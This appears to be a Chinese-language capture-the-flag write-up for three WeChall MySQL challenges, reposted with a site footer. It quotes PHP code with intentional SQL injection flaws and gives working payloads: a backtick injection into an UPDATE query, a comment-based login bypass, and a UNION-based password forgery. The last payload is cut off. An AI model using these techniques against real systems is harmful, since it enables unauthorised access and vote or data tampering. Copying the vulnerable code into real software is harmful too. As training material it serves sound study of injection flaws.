WeChall mysql WriteUp

WeChall mysql WriteUp

题目链接:http://www.wechall.net/challs/MySQL/by/chall_score/ASC/page-1

1.No Escape

首先阅读源码,比较简单,就是只要有一个人的票数到达111了,那么就成功了,但是每当一个人的票数超过100时就会被重置。然后此处注入参数为vote_for,另外还有就是两个过滤,核心代码就在下面:

    if ( (stripos($who, 'id') !== false) || (strpos($who, '/') !== false) ) {echo GWF_HTML::error('No Escape', 'Please do not mess with the id. It would break the challenge for others', false);return;}$db = noesc_db();$who = mysql_real_escape_string($who);$query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";if (false !== $db->queryWrite($query)) {echo GWF_HTML::message('No Escape', 'Vote counted for '.GWF_HTML::display($who), false);}noesc_stop100();

观察发现过滤似乎并没有什么卵用,因为在更新语句中根本没用单引号,只用了`符号,那么直接构造如下的payload就好了:

?vote_for=bill`=111--+

2. Training: MySQL I

这道题没啥可说的,最简单的SQLI,跳过

admin'#

3.Training: MySQL II

这道题把密码和用户名分开来验证了,用户名查询处毫无过滤,核心检验代码如下:

$password = md5($password);$query = "SELECT * FROM users WHERE username='$username'";if (false === ($result = $db->queryFirst($query))) {echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);return false;}################################ This is the new check ###if ($result['password'] !== $password) {echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);return false;} #  End of the new code  ################################

很容易知道,用union构造查询就可以绕过了,如下:

username=123' union select 1,'admin',md5('


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部